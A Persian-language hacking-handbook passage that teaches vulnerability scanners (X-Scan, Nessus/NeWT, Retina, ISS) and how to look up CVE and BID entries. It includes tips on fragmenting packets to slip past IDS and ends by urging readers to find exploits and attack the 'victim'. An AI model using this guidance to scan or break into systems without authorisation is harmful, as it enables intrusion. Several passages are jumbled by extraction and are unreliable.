١٣ -cgi  اگر ميدانيد وب سایت هدف از توابعCGI استفاده ميکند ، با اضافه کردن این سویچ برنامه 

  . قابل  استفاده را کشف کندیک پویش هم درباره این سرویس انجام ميدهد تا حفره های
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١۴ -nasl   با اضافه کردن این سویچ برنامه ازscripts های برنامه Nessusاستفاده ميکند .  
١۵ -all  این سویچ تمام سرویس های که برای آنscriptsدارد را پویش ميکند .  

  
  :جدول شماره دو 

  توضيحات  سویچ  
١  -i  آن نام کارت شبکه مورد استفاده خود یا شماره با اضافه کردن این سویچ باید بعد از)IP ( آن را

 خودتان IPالبته وارد کردن ). برای آنهایی که توسط کارت شبکه قسط پویش را دارند(وارد کنيد 
  .برای کسانی که به وسيله مودم به اینترنت یا هر شبکه ای که وصل ميشوند خالی از فایده نيست

٢  -l برای شما یک ليستی که حاوی شماره های کارت شبکه شما است می با اضافه کردن این سویچ 
  .آورد

٣  -v  این سویچ باعث نمایش جزئيات هين انجام کار ميشود یا به عبارتی روند انجام کار را به شما نشان
  .ميدهد

۴  -p  این سویچ باعث ميشود که اگر یک ميزبانی به ما در جوابPingيرد و  پاسخی نداد آن را نادیده بگ
  .به سراغ بعدی برود

۵  -o  این سویچ باعث ميشود که اگر بر یک ميزبان یک پورت باز هم پيدا نکرد آن را نادیده بگيرد و به
  . سراغ بعدی برود

۶  -t  خوب این یکی از مکانيزم های مخفی ماندن است که در بالا تر ها برای برنامهnmap گفتم چی 
 برنامه بسته ها را تکه تکه کرده و ميفرستد که شناسایی شما مشکل با استفاده از این گزینه. هست 

ميشود و احتمال عبور بسته ها از دیوار آتش خيلی زیاد تر ميشود و همچنين حذف بسته توسط فيلتر 
ها و مسيریاب ها احتمال این اتفاق هم کمتر شده اما احتمال  نتيجه گرفتن صحيح کمتر ميشود البته 

بعد از این سویچ . دیگه فعال نميشود برای ما ) IDS(  گير یا همان افسر خودمان با این کار دزد
البته امکان استفاده از سویچ . شما باید تعداد تکه تکه شدن هر بسته را مشخص کنيد تعداد آن را 

  .خالی تيز هست که تعداد خورد کردن بسته را خودش مشخص ميکند که بد هم نيست
٧  -log  کردن این سویچ بعد از آن باید نام فایل نتيجه را به یکی از دو فرمت که با اضافهtxt و یا html را 

است زیرا بدون این سویچ خود ) از این سویچ استفاده نکنيد ( این کار را نکنيد بهتر. وارد کنيد
امه  که در پوشه خود برنlog ماشين هدف با هر دو فرمت در پوشه IPبرنامه فایل نتيجه را با نام 

  .است ایجاد ميکند
  

 را بگيرید و داخل nasl های scripts اخرین Nessus کار این برنامه کار درست است ،البته توصيه ميکنم هميشه از سایت            خوب واقعاً 
  . خود برنامه استفاده کردهUpdate این برنامه بریزید تا بهترین نتایج را دریافت کنيد و یا از امکان scriptsپوشه 

  

ه ترکيب                    خوب ک  ه    Ctrl+Eار با رابط کاربری این برنامه راحت است اول بعد بالا آمدن این برنام ا روی دکم  کليک    را زده ی
  .ميکنيد تا به بخش تنظيمات بروید

د                 IP شما   Generalدر صفحه     ماشين مورد نظر خود را وارد ميکند در قسمت کناری آن ميتوانيد نوع شيوه گزارش خود را انتخاب کني
  ..و نام آن را عوض کنيد و

  
د                     Advancedدر صفحه      دن را مشخص ميکني رای توضيحات    ( شما در قسمت اول آن شما ميزان تکه تکه کردن فایل برای مخفی مان ب

  .در بخش دوم گزینه اول در صورت علامت زدن روند پيشرفت کار را نمایش ميدهد). بيشتر به بخش خط فرمان مراجعه کنيد
  . مراجعه شودp–به توضيحات سویچ skip host when failed to get response برای گزینه 
  . مراجعه کنيدo– سویچ ت به توضيحا skip host when  no open port has bin failedبرای گزینه 

د              Scan Alwaysگزینه  ام ميده د انج ا نده د ی ا ماشين جواب بده د ی ا نکن د ی دا کن از پي ورت ب ن گزی  . (  چه پ ادل ای ان    مع ه در خط فرم ن
  ) است o– و p–مساوی با استفاده نکردن از هيچ کدام از سویچ های 

  
  . شما ليست پورت هایی را که باید بگردد و مکانيزم آن و معادل پورت های پيش فرض را تنظيم ميکنيدPortدر صفحه 

  
ه خود د                      ورد علاق دی م ه   در صفحه های بعدی هم یک سری چيز دیگه حالا بعد از پيکر بن ل         OKکم رات در فای ا تغي  Config را زده ت

  .کار شروع ميشود) یک فلش سبز بالا هست ( ذخيره شود حالا با کليد روی دکمه شروع 
  

ا را    IDخوب بعد از تمام کار شما ميتوانيد نتيجه را مشاهده کنيد که برای هر حفره یک شماره                  ا اینج  داده است که با هم متفاوت هستند ت
  . بقيه نرم افزارها را به شماها یاد بدم بعد بگم با این عدد چه کار باید بکنيدداشته باشيد تا
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ی از     Winpcapای یادم رفت بگم که این برنامه یک نسخه از    ل خيل ه لازم دارد و مث زی را ک  را همراه خودش دار دو البته تمام هر چي
  .ه را براش باید نصب کنی تا برای شما کار کندنرم افزارهای هک که از لينوکس آمده اند نيست که یک دو جين برنام

  
    :NeWT Security Scanner برنامه Nessusنسخه ویندوز

  
  :این نرم افزار این شکلی که پایين می بينيد 

  

  
  

نم                    ن توصيه ميک اً  !! ( خوب این هم مثل بالایی است کارش ، اگر ميخواهيد رایانه خودتان را پویش کنيد من ای ه    م نفهم چون واقع است ب
دهم                 " معنی واقعی کلمه برای اینکه ميگوید        ن محصول اجازه مي سخه رایگان ای د   C های کلاس     IPمن به شما در ن ویش کني ا  "  را پ ام

ایی  Ip آن C های کلاس   IPآنهایی که این دانلود کردن می دانند که فقط اجازه ميدهد که رایانه خودتان را اسکن کنيد یک توضيح بدم             ه
  ) است البته درباره اصول پایه ای همچون این بعدا توضيح ميدهم در ضميمه مقاله ٢٢٣ تا ١٩٢د سمت چپ بين هستند که عد

ه است         (NeWT Proخوب این نرم افزار یک نسخه حرفه ای هم دارد به نام   د چون یک برنام زرگ توجه کني به حروف کوچک و ب
  .ت اسکن ندارد اما هنوز بدست من نرسيده که محدودی) که با همين اسم که تمام حروف آن بزرگ است

ن شکلی    NeWTCmdاین برنامه هم دارای یک رابط کاربری است که دقيقا مثل بالای است فایل برنامه به نام                است که بعد از اجرا ای
:  
  

 
C:\Tenable\NeWT>NeWTCmd.exe 
NeWTCmd 2.1 -- Copyright (C) 2003 - 2004 Tenable Network Security 
 
Usage: NeWTCmd [scan target] <plugin set name> 
Please use quotation mark if the name of the plugin set contains whitespace. 
If no plugin set specified, 'allsafe' will be used by default. 
 
Examples are: 
NeWTCmd localhost allsafe 
NeWTCmd 192.168.0.1-192.168.0.10 all 
NeWTCmd 192.168.0.1-192.168.0.10 "Port Scan" 

  
  

 شده که اسمش و لينک آن در سایت     X-Scanاميدوار هستم که این با نرم افزار بالای یک مقایسه بکنيد بعد ميفهميد که اجحافی در حق
Nessus قرار نداده اند بعد لينک این در پيت را گذاشتند .  
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 LANGuard Network Security ها یعنی معرفی یکی از آن گرهای امنيت در شبکه بيان شد، و به د پویشیی که در مور  ابا مقدمه
Scannerافزاری قدرتمند با نام   پرداختيم، نوبت به معرفی نرمNessusو رایگان )کدهای برنامه نویسی آن در دسترس عموم است (  باز- محصولی کد 
 .رسد های اخير ساخته است، می ترین ابزارها در سال بدل به یکی از بهاش خود را م های ویژه که با قابليت

   

 نوشته شده است و Unixهای مشابه   و دیگر محيطLinux ،BSD ،Solarisهای  افزار در واقع تنها برای محيط  هرچند که این نرم   
 NeWT با نام Windowsهای عامل سری  افت است، ولی نگارشی از آن برای سيستم قابل دریorg.nessus.wwwدر پایگاه 

گاه این شرکت،   نيز موجود است که با مراجعه به پای.Tenable Network Security Incمحصول 
com.tenablesecurity.wwwقابل دریافت است ،.  

  . باشد ، میNeWT این ابزار، یعنی Windows نسخه تحت  رفی بر پایهمبنای این مع

  :دهد  افزار را نشان می  آغازین این نرم  شکل زیر صفحه    

  

   

این . کند های مورد نظر برای پویش را به عنوان ورودی دریافت می های سيستم افزار آدرس یا آدرس  با انتخاب پویش جدید، نرم   
  .ندی آدرس نيز نباشند و در این صورت تک تک آنها به صورت مجزا باید ذکر شو ند در یک بازهتوان ها می آدرس

های امنيتی به  گيرد باعث ایجاد آسيب افزار انجام می جاکه برخی از عملياتی که در حين پویش توسط نرم  پيش از شروع پویش، از آن   
 .یی که برای بررسی امنيت مورد استفاده قرار خواهند گرفت نيز وجود داردها شوند، امکان تعيين زیربرنامه سيستم مورد نظر می
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ترین حالت برای پویش است،  نهاد کرده است حالت اول امن افزار نيز پيش گونه که نرم  پس از انتخاب حالت مورد نظر، که همان   
های امنيتی و  های باز، اخطار رفت پویش، تعداد پورتافزار شروع به پویش کرده و در حين پویش اطلاعاتی همچون درصد پيش نرم

 .دهد افزار در حين پویش را نمایش می شکل زیر خروجی نرم. دهد های موجود در سيستم مورد نظر ارایه می شکاف

   

  



   !! امیر آشتیانی  های مربوطه توسط متدو معرفی منیت شبکه ضد اآموزش 

White Hat Nomads : Anti Security HandBook : Complete Refrence Bay ZXO003 
 

 ٦٠٨    صفحه

ای از   نمونهشکل زیر. دهد  نمایش میرمرور گ توليد کرده و توسط HTMLصورت  افزار گزارشی به  پس از اتمام عمل پویش، نرم   
 .دهد این گزارش را نشان می

   

  

   

   

های امنيتی محتمل، آدرسی برای دریافت اطلاعات  افزار، ضمن درج آسيب های ارایه شده توسط این نرم  در هر بخش از گزارش   
  .شود همراه روش رفع آن نيز ذکر می بيشتر در مورد ضعف امنيتی به

   

ها پویش انجام  هایی که توسط آن افزار امکان مدیریت زیربرنامه شود، در این نرم ز مشاهده میگونه که در تصویر اول ني  همان   
در این قسمت امکان تعيين . توان جزئيات پویش را نيز تعيين کرد از سوی دیگر در قسمت پيکربندی نيز می. گيرد نيز وجود دارد می

  . که نياز به احراز هویت دارند نيز فراهم شده استهایی کدهای کاربری به همراه رمز عبور برای پویش سرویس

   

ها و جوانب امنيتی که  اً وسيعی از سرویست نسب ، با توجه به بازهNeWT آن یعنی Windowsی تحت  ، و نسخهNessusافزار   نرم   
فقط در نسخه آزمایشی که امکان (  رایگان بودنجاکه  از آن. افزارها در ميان ابزارهای مشابه است ترین نرم مد نظر قرار داده است، یکی از قوی

 !!!! های اً مفصل و جامع پس از پویش، به جذابيتت و راحتی استفاده از آن، به همراه گزارش نسب)آن هم فقط اسمی  را ميدهد C کلاس IPپویش آدرسهای 
 محسوب شده و استفاده از آن به همه توصيه آن افزوده است، یکی از ابزارهای مناسب برای کاربران مبتدی، متوسط و حتی پيشرفته

  .گردد می
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بيه     . ولی نميشود در حق این برنامه اجحاف کرد کارش درست است برای اسکن خود رایانه شما                ی ش اول سرور آن    .  است  Nessusخيل
ا ن             ودش ب راه خ ه هم د از برنام ردنش بای اموش ک رای خ ت ب الا اس دا ، ب شه خ ولا ، همي ه اص د ک الا باش د ب  Scan Serverام بای

Configurationباید استفاده کنيد توصيه ميکنم که به غير از موارد استفاده حتما از کار بيندازد این سرور را .  
  

ام                ه ن رایش         nasl.exeخوب یک برنامه خوب همراه این نرم افزار است ب ه کارش وی رات      Nasl های    scripts  ک شود تغي ه مي  است ک
ه از       مورد نظر خود را روی آنها        ایی ک رم افزاره امی ن رای تم شود ب ار     Nessus های  scriptsاعمال کرد البته مي ه ک د ب تفاده ميکنن  اس

  !!در کل خوب است این به خودتان ميسپارم . برد
  

ه   شما به صفحه  ميروید که در آنجا چهار گزینه است ک  Next قربانی و زدن کليد   IPکار با این برنامه ساده است بعد از وارد کردن            ه ب
  :ترتيب عبارتند از

  
ام    : Enable all but dangerous plugins (Recommended)گزینه  ی تم ا      scripts بجز  scriptsیعن ه باعث ن اک ک  های خطرن

  .پایداری سيستم می شود یا باعث لو رفتن می شود
ه   ه   : Enable all plugins (Even dangerous plugins are enabled)گزین ی  ک ام  یعن ا بعلاوه   scripts تم  های  scripts ه

  .خطرناک
دی    :  Use a predefined plugin set (You can manage them here)گزینه  با انتخاب این گزینه یک سری پویش های دسته بن

  .شده انجام ميدهد که البته جزئيات قابل تنظيم نيست و شما باید دسته مورد نظر خود را انتخاب کنيد
 های مورد علاقه خود را scriptsکه با انتخاب این گزینه باید  : Define my own set of plugins (For advanced user)گزینه  

  .انتخاب کنيد بعد پویش را شروع کنيد
  

اره    خوب یکی را به فراخور حال خود انتخاب کرده یا اگر سه گزینه اولی بدرد شماها نمی خورد و یا ميخواهيد خودتان انتخاب کنيد درب
  .چه بگردد گزینه آخر را انتخاب کنيد که در آنجا هر چه خواستيد انتخاب کنيد بعد شروع به پویش کنيد

  
  . را انجام داده اید همين دیگرNessusاز امکانات برنامه % ٩٠به این ترتيب ميشود گفت یک پویش با 

  
   :Nessusمعرفی برنامه 

  

  
  

وان        . قبل از هر چيز باید این سرطان را نصب کنيد ا عن ه دیگر ب ستلزم نصب دو برنام ا  GIMP Toolkitنصب این شبح م  و GTK ی
nmap        ه ن مرحل يد ای رده باش  ميباشد که معمولا شما اگر موقع نصب لينوکس یا هر سيستم عامل کد باز گزینه های مدیریتی را انتخاب ک

د ه . را لازم نداری اوین   Nessusبرنام ا عن ف ب ب مختل ار قال ه Nessus-plugins  و Nessus-core و Nessus-libraries در چه  ب
ده است  شر ش ارگيری و نصب منت ه  . منظور ب ستلزم طی مراحل  Nessusنصب برنام ا م سته ه وع ب ن سه ن ق هر یک از ای  از طری

ل و نصب  ارگيری ، کامپای تاندارد ب ی ( اس رامين مربوطه ، یعن د از اجرای ف ه ترتيب عبارتن ه مراحل آن ب  و configure ، Mackک
Mack installرد     . ميباشد)  است ه یک آرشيو منف وان    shellاین برنامه در قالب چهارمی ک ا عن ز ب شر  Nessus-installer.sh ني  منت

ای آراز در سایت   . ميشود که شامل کليه کد های مورد نياز بوده و فرایند نصب را به گونه ای مناسب کنترل می کند          من به علت اینکه آق
Tur2.com ه تایپ                مراح دهم و توضيح و البت رار مي ه خود ق ه بعلاوه لينک آن را در مقال ن مقال د ، ای ل نصب را خوب توضيح داده ان

  : اضافی خود داری ميکنم 
  

  htm.13810631n/articles/com.2tur.www://http:  لينک مقاله 
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  ) :فقط قسمت نصب برنامه آورده شده است و از آوردن قسمتهای دیگر خود داری شده است ( متن مقاله 
  

  چطوري نصب کنم؟

  

ايد وارد  لود کرده  لينوکس رو باز کرده و به دايرکتوري که فايل رو اونجا داونshellحالا .  کرده باشيدlogin به لينوکس super-user يعني rootاولا بايد در مود 

 : نويسيد ايد، مي لود کرده فايل رو داون/ root/Desktopمثلا اگر در . شويد مي

# cd /root/Desktop 
 : نويسيد حالا دستور زير رو مي

# sh nessus-installer.sh 
 ):  شدهشه فقط اينکه انقدر نوشته مياد که به نظر ميرسه صفحه پاک البته صفحه پاک نمي(شه و نوشته زير مياد  بلافاصله صفحه پاک مي

-------------------------------------------------------------------------------- 

                             NESSUS INSTALLATION SCRIPT 

-------------------------------------------------------------------------------- 

 

 

Welcome to the Nessus Installation Script ! 

 

This script will install Nessus 2.0.7 (STABLE) on your system. 

 

Please note that you will need root privileges at some point so that 

the installation can complete. 

 

Nessus is released under the version 2 of the GNU General Public License 

(see http://www.gnu.org/licences/gpl.html for details). 

 

To get the latest version of Nessus, visit http://www.nessus.org 

 

 

Press ENTER to continue 

  : يه سري چرت و پرت نوشته ميشه و صفحه پاک شده و متن زير مياد. دهيد  رو فشار ميEnterدکمه 

-------------------------------------------------------------------------------- 

                     Nessus installation : installation location 

-------------------------------------------------------------------------------- 

 

 

Where do you want the whole Nessus package to be installed ? 

[/usr/local] 

 

حالا صفحه پاک ميشه و نوشته . نصب بشه/ usr/localفرض يعني   رو فشار بدين که در محل پيشEnter رو کجا نصب کنم؟ شما دکمه Nessusاين ميگه که 

  : زير مياد

-------------------------------------------------------------------------------- 

                     Nessus installation : Ready to install 

-------------------------------------------------------------------------------- 
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Nessus is now ready to be installed on this host. 

The installation process will first compile it then install it 

 

 

Press ENTER to continue 

اينا ابدا اراجيف نيستند ولي چون ما به ( دفعه يکم بيشتر طول ميکشه که اراجيف تموم بشن  کنند ولي اين ها شروع به ظاهر شدن مي بازهم چرت و پرت

  . سه خدتون بريزين و چند دقيقه استراحت کنيدتونين يه چايي وا حالا مي! ) کنيم، اصلا لزومي نداره فکرتون رو خراب بکنيد صورت اتوماتيک داريم نصب مي

  : وقتي کار نصب تموم شد، صفحه زير ظاهر ميشه

-------------------------------------------------------------------------------- 

                     Nessus installation : Finished 

-------------------------------------------------------------------------------- 

 

 

Congratulations ! Nessus is now installed on this host 

 

. Create a nessusd certificate using /usr/local/sbin/nessus-mkcert 

. Add a nessusd user use /usr/local/sbin/nessus-adduser 

. Start the Nessus daemon (nessusd) use /usr/local/sbin/nessusd -D 

. Start the Nessus client (nessus) use /usr/local/bin/nessus 

. To uninstall Nessus, use /usr/local/sbin/uninstall-nessus 

 

. Remember to invoke 'nessus-update-plugins' periodically to update your 

  list of plugins 

 

. A step by step demo of Nessus is available at : 

        http://www.nessus.org/demo/ 

 

 

Press ENTER to quit 

  .دم اين صفحه آخر اطلاعات مهمي داره که توضيح مي.  بزنيد که نصب تموم بشهEnterيه 

  : اولين جمله اينه

Create a nessusd certificate using /usr/local/sbin/nessus-mkcert 

 : نويسيم  ميShellپس ما در 

# /usr/local/sbin/nessus-mkcert 
 :  بزنيم، صفحه پاک شده و متن زير ظاهر ميشهEnterوقتي 

------------------------------------------------------------------------------- 

                        Creation of the Nessus SSL Certificate 

------------------------------------------------------------------------------- 

 

This script will now ask you the relevant information to create the SSL 

certificate of Nessus. Note that this information will *NOT* be sent to 

anybody (everything stays local), but anyone with the ability to connect to your 

Nessus daemon will be able to retrieve this information. 
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CA certificate life time in days [1460]: 

  : به صورت زير.  تموم بشهcertificationزنيم تا کار ايجاد   به ترتيب ميEnter تا ۶از همينجا تا آخر کار 

CA certificate life time in days [1460]: 

Server certificate life time in days [365]: 

Your country (two letter code) [FR]: 

Your state or province name [none]: 

Your location (e.g. town) [Paris]: 

Your organization [Nessus Users United]: 

  : بعد صفحه زير مياد

------------------------------------------------------------------------------- 

                        Creation of the Nessus SSL Certificate 

------------------------------------------------------------------------------- 

 

Congratulations. Your server certificate was properly created. 

 

/usr/local/etc/nessus/nessusd.conf updated 

 

The following files were created : 

 

. Certification authority : 

   Certificate = /usr/local/com/nessus/CA/cacert.pem 

   Private key = /usr/local/var/nessus/CA/cakey.pem 

 

. Nessus Server : 

    Certificate = /usr/local/com/nessus/CA/servercert.pem 

    Private key = /usr/local/var/nessus/CA/serverkey.pem 

 

Press [ENTER] to exit 

  .زنيم، تا کار تموم بشه  رو هم ميEnterحالا آخرين 

 درست کنيم که nessus روي سرور userحالا بايد يک .  درست کرديمNessus براي SSL Certificate رو اجرا کرديم و هم nessus-installer.shپس ما تا حالا هم 

  : کنيم کار از دستور زير استفاده مي براي اين.  کنيمloginافزار  بتونيم بعدا از طريق او به نرم

# /usr/local/sbin/nessus-adduser 
 : به محض اجراي اين دستور متن زير ظاهر ميشه

Add a new nessusd user 

---------------------- 

 

Login : 

 : کنيم و بعد سطر زير مياد اسم مورد نظر رو وارد مي.  وارد کنusernameاين يعني يک 

Authentication (pass/cert) [pass] : 

 : ر ميادبعد سطر زي.  بمونهpassفرض يعني  زنيم که همون پيش  ميEnterما . سنجي چي باشه اين يعني روش هويت

Login password :  

موقع وارد کردن * از کاراکتر ( حالا پسورد رو بنويسيد ! اول يه نگاه به چپ، بعد يه نگاه به راست، بعد يه نگاه به عقب. اينجا بايد پسورد براي يوزر رو وارد کنيم

  ! )واسه همين مراسم رو بجا آورديم. پسورد خبري نيست

 : حالا اين متن ظاهر ميشه

User rules 
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---------- 

nessusd has a rules system which allows you to restrict the hosts 

that ali has the right to test. For instance, you may want 

him to be able to scan his own host only. 

 

Please see the nessus-adduser(8) man page for the rules syntax 

 

Enter the rules for this user, and hit ctrl-D once you are done : 

(the user can have an empty rules set) 

 رو ctrl-Dتونه اسکن کنه رو محدود کنيم، ولي فعلا لازم نيست، پس ترکيب   تعريف کنيم که دامنه جاهايي که ميuser واسه Rulesاينجا ميشه يه سري 

  : ين ظاهر ميشهحالا ا. ديم فشار مي

Login             : xxxxxxxxxx 

Password          : yyyyyyyyy 

DN                : 

Rules             : 

 

Is that ok ? (y/n) [y] 

  .زنيم که کار تموم بشه  ميEnterيه 

  ! به همين راحتي نصب شدnessusافزار  نرم. گم تبريک مي

  

  

   را اجرا کنيم؟nessus چطوري حالا. افزار رو نصب کردم  نرم-

  

 که به اون nessusبراي اجرا کردن سرور .  رو اجرا کنيدnessus استفاده کنيد، اول بايد سرور nessusکنيد، اگه بخواين از    ميrestartهر بار که کامپيوتر رو  - ١

nessus daemon يا به شکل خلاصه nessusdنويسيم گن، دستور زير رو مي  مي :  

# /usr/local/sbin/nessusd -D 
  .شود اندازي مي  راهnessusبه اين راحتي سرور 

 : شود براي اين کار از دستور زير استفاده مي. تونين اجرا کنيد نکته مهم اينکه هر چند تا کلاينت که بخواين مي. کنيم حالا کلاينت رو اجرا مي - ٢

# /usr/local/bin/nessus 
  .تر است کنه ولي استفاده از حالت گرافيکي راحت  در حالت متني هم کار ميnessusتوجه کنيد که . افزار ظاهر ميشه با اجراي اين دستور پنجره نرم

  
  . اندی صفحه حال تایپ برام نمونده ٧٠خوب اميد وارم کامل باشد واقعا بعد از نوشتن این 

  )استاد آراز صمدی!! (با عرض پوزش از نویسنده مقاله بالا 
  

از شود و شما ان را از       . رنامه بالا آمد اول از شما نام کربری و کلمه عبور را ميخواهد            خوب وقتی ب   ه پنجره ای ب شاید بعد از این مرحل
ه هریک از        Pluginsبعد از این مرحله به برگه       .  را بزنيد  OKحالت پيش فرض تغيير ندهيد و        دی شده     Script ميرسم ک ا ، دسته بن  ه

  :جدول زیر توضيح داده ام کار آنها را است ، که من دسته ها را در 
  

  توضيح عملکرد دسته Plug-inنام   
١  Miscellaneous  اینScript ها آزمونهایی درباره حساب های کاربری و 

  انجام ميدهند..مسيرجوها و
٢  Gain a shell remotely  اینScript ها آزمونهایی ر باره سر ریزی بافر و گریز از دست 

 .ویت انجام ميدهندسيستم احراز ه
٣  Finger abuses  اینScript ها آزمونهایی در باره شبح Finger که امکان 

دستيابی به فایل های حفاظت شده ، فرمانهای سيستمی حفاظت 
شده و اطلاعات حفاظت شده کاربران را در اختيار مهاجم 
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  .ميگزارد، انجام می دهد
۴  Windows  اینScriptروتکل های  آزمونهایی در باره پSMB و 

NetBIOSو سایر حفره های سيستم عامل ویندوز انجام ميدهد .  
۵  Backdoor  اینScript ها دنبال برنامه های اسب ترآوا ميگردد .  
۶  General  اینScript ها آزمایشی در باره شماره ویرایش و اطلاعات 

برنامه های کاربردی و سرویس دهنده ها که ممکن است مفيد 
  .نجام ميدهدباشد ا

٧  SNMP  اینScript ها آزمونهایی در مورد پروتکل SNMP به منظور 
  .کشف حفره های قابل استفاده انجام ميدهد

٨  CGI abuses  اینScript ها  آزمونهایی در مورد قابليت نفوذ برنامه  های 
CGI به منظور نفوذ در وب سرور هایی همچون IIS و 

Apacheنوشته شده با  و برنامه های کاربردی FHP و Cold 
fusion و  Front Pageانجام ميدهد  .  

٩  Remote file Access  اینScript ها آزمونهایی درباره روشهای غير مجاز دسترسی به 
  انجام ميدهد...  یا HTTP یا NFSفایلها از طریق سرویس هایی 

١٠  RPC  اینScript ها آزمونهایی در مورد دستيابی به اطلاعات RPC و 
  . انجام ميدهدststd و mountdسرویس های قابل نفوذ آن مانند 

١١  Gain root remotely  اینScript ها آزمونهایی را در باره دست رسی از راه دور به 
  .سيستم تحت نام کاربر اصلی انجام ميدهد

١٢  Firewalls  اینScript ها آزمونهایی در باره پيکر بندی نادرست دیوار آتش 
  .ام ميدهدانج

١٣  Useless service  اینScript ها آزمونهای در مورد سرویسهای منسوخ شده ای 
  .انجام ميدهد...  وrsh و daytime و echoمانند 

١۴  Denial-of-Service  این اسکریپت ها آزمونهایی را به منظور تشخيص حملاتی از نوع
DOSانجام ميدهد .  

١۵  FTP  اینScript در باره نقاط ضعف برنامه  ها آزمونهاییFTP انجام 
  .ميدهد

١۶  NIS  اینScript آزمونهایی در مورد قابليت نفوذ پذیری به واسطه 
 عرضه شده است انجام SUN که توسط شرکت NISسرویس 
  .ميدهد

١٧  SMTP problems  اینScript ها آزمونهایی در باره اشکالات پروتکل پست 
  .الکترونيکی انجام ميدهد

١٨  Windows User Managemnt  اینScript ها آزمونهایی را درباره تشخيص مشکلات و نقاط 
قابل نفوذ موجود در رابطه با حساب کاربران یا گروه های 

  .تعریف شده در سيستم عامل ویندوز انجام ميدهد
  

ه           Scriptبعد از انتخاب     ه برگ ا را             Prefs های مورد علاقه خود ب ا آنج ه ه ه گزین د ک ه خصوص               ميروی الا است ب ه های ب شابه برنام م
Nmap فقط یک گزینه می ماند که در برگه  .  استScan Option    ام ا ن ا آن   Scan  for LaBrea tarpitted hosts  است ب ه حتم  ک

کار ميبرد که  به LaBreaاین گزینه مکانيزمی را که دیگر حوصله توضيح آن را ندارم فعال ميکند که عليه برنامه دفاعی . را فعال کنيد  
  . یک برنامه دفاعی عالی و البته ارزان است که معمولا اکثر ماشينهای روی شبکه دارندLaBreaاین برنامه . بسيار خوب است

  
ه      Start the scan هدف را وارد ميکنيد و بعد دکمه IP شما Target Selectionدر برگه  دتی ب د از م ه بع را فشار ميدهيد خوب برنام

که در مورد ...  باشد کنار هر حفره ای که کشف کرده یک سری شماره است وTXT و HTMLهد که ميتواند در فرمت     شما جواب ميد  
  .کارایی هر کدام بعدا کامل توضيح ميدهم 

  
    :Retinaبرنامه 

  
سخه   ۵٫٢ است که فکر ميکنم آخرین نسخه آن Retinaخوب ابزار بعدی که معرفی ميکنم برنامه   ن    ۴٫٩٫٨ باشد این شکل ن ه ای  است ک

  :شکلی 
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 ٦١٥    صفحه

  
  

ره ای          وی کرک ه   Toolsکار با این برنامه ساده است و البته پيک بندی آسانی نيز دارد برای این منظور به من ه و گزین  را Options رفت
اد       . انتخاب کنيد تا کادری را که در شکل بالا مشاهده ميکنيد ببينيد           م زی ه را ک ن پنجره سرعت برنام د در ای ایج     شما ميتواني ا نت ه ب د ک  کني

ه و                          رد حساسيت برنام م حوصله آن را سرمی ب م ه د و      ... رابطه مستقيمی دارد سرعت زیاد جواب خوبی نميدهد سرعت ک را تنظيم کني
  .هم موجد است بقيه کارا با خودتان ... البته گزینه هایی هم در باره نوع قالب پاسخ و. البته هم امکان اتوماسيون نيز موجد ميباشد

  !!! بنویسيد Address و یا آدرس سایت را باید در مقابل گزینه Ipن که حتما ميدانيد آدرس ای
  

   :Internet Security System و یا نام کامل  ISSبرنامه 
  

  : که قدیمی است ۶٫٢کار با این برنامه ساده است کارای بدی هم ندارد سيمای برنامه این شکلی است نسخه 

  
  

ذیری       خوب این از معرفی ا     ل                          . بزارهای پویش نقاط آسيب پ د یک سری فای ه فهميدی انطور ک ا هم زار ه ن اب تم ، ای د اول ميگف ن را بای ای
ا از خودشون                دارند که با تست آنها می فهمند آیا این حفره قابل استفاده است یا نه یک دفعه خدای نکرده فکر دیگه ایی نکنيد که مثلا اینه

  .ما و خودتان را یک جا به آب روان و پاک بسپاریدکشف ميکنند حفره را که آبروی 
  

ورت                              ه معمولا سرویس های روی پ د ک ویش یک سری جواب ميده خوب حتما با این ابزار ها که معرفی کردم به شما ، بعد از عمل پ
ين آنها ، ما برای استفاده های باز و حفره های امنيتی قابل استفاده در قالب درجات خطرناک و متوسط و پایين و یک سری شماره در پای

ی                    ایتهای امنيت دی و        ( از این شماره ها که نام آن حفره است از نظر متخصصين و س ه بن رای طبق م        ... ) ب ز ه ای مختلفی ني ه در قالبه ک
ال                       . است ه احتم ز باشد ب رداری ني ره ب ل به ره قاب د و اگر حف ره می آموزی اره آن حف ا    البته شما با این شماره ها مطالبی در ب د ت اد چن  زی

Exploitبرای آن پيدا ميکنيد .  
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   :CAN و CVEاولين قالب 

  
د    CAN و یا CVEاین قالب شماره گذاری یا نام گذاری حفره های امنيتی که شامل یک عدد است که با عبارت         شود ، ميتواني  شروع مي

  :به سایت های زیر مراجعه کرده و درباره آنها اطلاعات بگيرید 
  

http://www.iss.net/security_center/advice/Concordance/CVE/default.htm 
http://www.securityfocus.com/ 
http://www.securitytracker.com/ 
http://www.xfocus.org/ 

  
ا وارد کردن شماره      Vulnerabilityبرای مشاهده اطلاعات در باره این عدد به سایتهای بالا مراجعه کرده و به قسمت    ه و ب  سایت رفت

CVE ا اره CAN ی البی  در ب ا   مط د و احيان ی آموزی د  Exploitآن ب دا کني ی پي ره امنيت تفاده از آن حف رای اس م ب ه آن  .  ه ه ب ا توج و ب
Exploitحمله را آغاز کنيد .  

  
ه جای                    د و ب ر بروی ه آدرس زی راه آن      xاگر می خواهيد کار شما یک کمی سر راست تر شود ميتوانيد ب ارت هم راه عب ا شماره را هم  ه

  .بنویسيد
  

http://cve.mitre.org/cgi-bin/cvename.cgi?name=xxxxxxxxxxxxx 
http://cgi.nessus.org/cve.php3?cve=xxxxxxxxxxx 

  
د         خوب بعد از این کار شاید دوباره یک سری شماره معادل با فرمت نام گزاری مختلف را به شما بعلاوه یکسری مطلب در جواب بده

  .که توصيه ميکنم هم را مطالعه کنيد
  

   :Bug Traqا  یBIDقالب 
  

  برای مشاهده توضيحات این قالب ميتوانيد از آدرس  زیر استفاده کنيد 
http://www.securityfocus.com/bid/xxxx 

  
  !!همين .  باید فقط شماره را وارد کنيدxکه به جای واژه های 

  
   :CERT یا CAقالب 

  
ر م                   ه آدرس زی دن توضيحات آن ب رای دی ه ب ه جای     این هم یک نوع قالب است ک يم و ب ه ميکن شوند آن را      xراجع ا پي ارت ب ام عب ا تم  ه

  :مينویسيم 
  

http://www.cert.org/advisorise/xxxxxxxxxx.html 
  

   :XFقالب 
  

  .در این قالب می توانيد توضيحات مربوطه را از آدرس زیر بدست آورید
  

http://www.iss.net/security_center/search.php 
  

ا سایت               خوب این هم از این ،      ن ج ر ای ره های               securityfocus.com و سایت     iss.net به نظر من بهت ال حف ه دنب رای گشتن ب  است ب
